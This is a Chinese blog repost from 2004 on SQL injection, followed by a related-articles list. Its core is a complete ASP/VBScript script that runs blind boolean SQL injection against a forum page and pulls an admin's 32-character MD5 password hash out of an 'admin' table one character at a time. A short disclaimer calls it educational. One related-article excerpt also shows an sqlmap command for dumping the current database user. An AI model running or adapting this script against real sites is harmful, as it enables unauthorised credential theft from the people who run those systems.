SQL注入研究[转]

原创 2004年09月09日 08:52:00
'请勿用于非法用途,本代码只是为了让广大ASP爱好者明白原理,防范于未然。

Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function

function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function


Function RegExpTest(patrn, strng)
Dim regEx, retVal ' 建立变量。
Set regEx = New RegExp ' 建立正则表达式。
regEx.Pattern = patrn ' 设置模式。
regEx.IgnoreCase = False ' 设置是否区分大小写。
RegExpTest = regEx.Test(strng) ' 执行搜索测试。
End Function


password=""
keyword="论坛首页"'返回正确页面会出现的字符串
url1="http://qq/bbs/list.asp?boardid=7"'SQL注入入口
passlen=32'MD5密码通常是32位
dim pass
pass=array(48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102)'密码值通常是0-9,a-f


server.ScriptTimeout=999
for i=1 to passlen
flag=false
url=url1&" and (select asc(mid(password,"&i&",1)) from admin where id>0)="'构造的SQL语句这里才是关键
for j=0 to ubound(pass)
str=getHTTPPage(url&pass(j))
flag=RegExpTest(keyword,str)
if flag=true then
password=password&chr(pass(j))
exit for
end if
next
next


response.Write(password)


http://blog.csdn.net/iuhxq/archive/2004/09/08/97751.aspx

深入浅出MYSQL研究--SQL注入防范

在平常的开发中,程序员更加关注SQL是否能够实现预期的功能,客户更加的注重sql的安全问题.实际上,如果SQL语句写作不当,将会给系统造成很大的安全隐患,其中最常见最重要的就是SQL注入. 一.简介 ...
  • tang_huan_11
  • tang_huan_11
  • 2015年01月16日 09:34
  • 942

SQL注入测试实例分析

分享到一键分享QQ空间新浪微博百度云收藏人人网腾讯微博百度相册开心网腾讯朋友百度贴吧豆瓣网搜狐微博百度新首页QQ好友和讯微博更多...百度分享脚 本 之 家 www.jb51.net脚本云 专题 素材...
  • yiluyangguang1234
  • yiluyangguang1234
  • 2015年06月25日 13:20
  • 3331

C#和SQl 注入字符串的攻击 和 防止注入字符转的攻击

--SQl中 --建立ren的数据库,插入一条信息 create database ren go use ren go create table xinxi ( code nvarchar(20) ...
  • qq_30469045
  • qq_30469045
  • 2017年04月22日 09:38
  • 216

SQL注入攻击研究

1.1 SQL注入攻击研究       “注入攻击”这个词在网络上已经是屡见不鲜了。当入侵者准备入侵一台主机时,通常情况下首先查看这台服...
  • u013648937
  • u013648937
  • 2014年10月09日 23:37
  • 791

mybatis的SQL注入研究

struts2 + mybatis + mysql 的SQL手工注入研究
  • baidu_24931199
  • baidu_24931199
  • 2016年11月24日 15:16
  • 93

批量in查询中可能会导致的sql注入问题

有时间我们在使用in或者or进行查询时,为了加快速度,可能会经常这样来使用sql之间的拼接,然后直接导入到一个in中,这种查询实际上性能上还是可以的, 例如如下:update keyword set...
  • u012516914
  • u012516914
  • 2014年09月27日 15:45
  • 1763

什么是sql注入,如何防止sql注入

所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存...
  • lzq_csdn_th
  • lzq_csdn_th
  • 2016年08月12日 18:49
  • 3786

SQL注入#和$区别与总结

1.#{} 将传入的数据都当成一个字符串,会对自动传入的数据加一个双引号。 如:order by #user_id#,如果传入的值是111,那么解析成sql时的值为order by "111", ...
  • qq_34446485
  • qq_34446485
  • 2017年08月05日 20:21
  • 459

详细SQL注入命令使用方法

sql注入 sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id...
  • Hq_Dream
  • Hq_Dream
  • 2016年01月05日 17:02
  • 2002

常见sql注入方式

1.没有正确过滤转义字符   在用户的输入没有为转义字符过滤时,就会发生这种形式的注入式攻击,它会被传递给一个SQL语句。这样就会导致应用程序的终端用户对数据库上的语句实施操纵。比方说,下面的这...
  • wusuopuBUPT
  • wusuopuBUPT
  • 2013年04月02日 17:03
  • 10864
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:SQL注入研究[转]
举报原因:
原因补充:

(最多只允许输入30个字)